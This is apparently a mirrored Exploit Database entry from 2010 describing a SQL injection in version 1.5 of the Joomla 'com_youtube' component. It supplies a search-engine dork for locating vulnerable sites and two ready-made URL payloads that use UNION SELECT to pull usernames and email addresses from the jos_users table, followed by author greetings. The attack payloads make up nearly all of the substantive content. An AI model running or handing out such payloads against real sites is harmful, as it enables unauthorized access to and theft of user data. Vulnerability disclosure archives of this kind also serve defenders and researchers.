Joomla! Component YouTube 1.5 – SQL Injection

• Exploit Database
• 116 阅读

• 作者： Forza-Dz
  日期： 2010-07-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14467/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  # Exploit Title: Joomla "com_youtube"Sql Injection Vulnerability # Date: 2010-07-24   # Author: Forza-Dz   # Software Link: http://extensions.joomla.org/extensions/multimedia/ multimedia-channels/video-channels/12037 # Version: 1.5 # Tested on: windows-xp-sp2-fr : windows-xp-sp3-fr     ============================================================================== \\\\\\\\\\ Joomla "com_youtube" Sql Injection Vulnerability ///////// ==============================================================================   *************************************************************************** *************************************************************************** Dork = inurl:"com_youtube" ########################################################################### ===[ Exploit ]=== http://www.site.com/index.php?option=com_youtube&id_cate=4   union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users-- or http://www.site.com/index.php?option=com_youtube&id_cate=55 union+select+1,concat(username,0x3a,email),3,4,5,6,7,8+from+jos_users-- ########################################################################### Greetz @ Flit0x-Dz AnD MCA-CRB All "DZ" "MusliM" ###########################################################################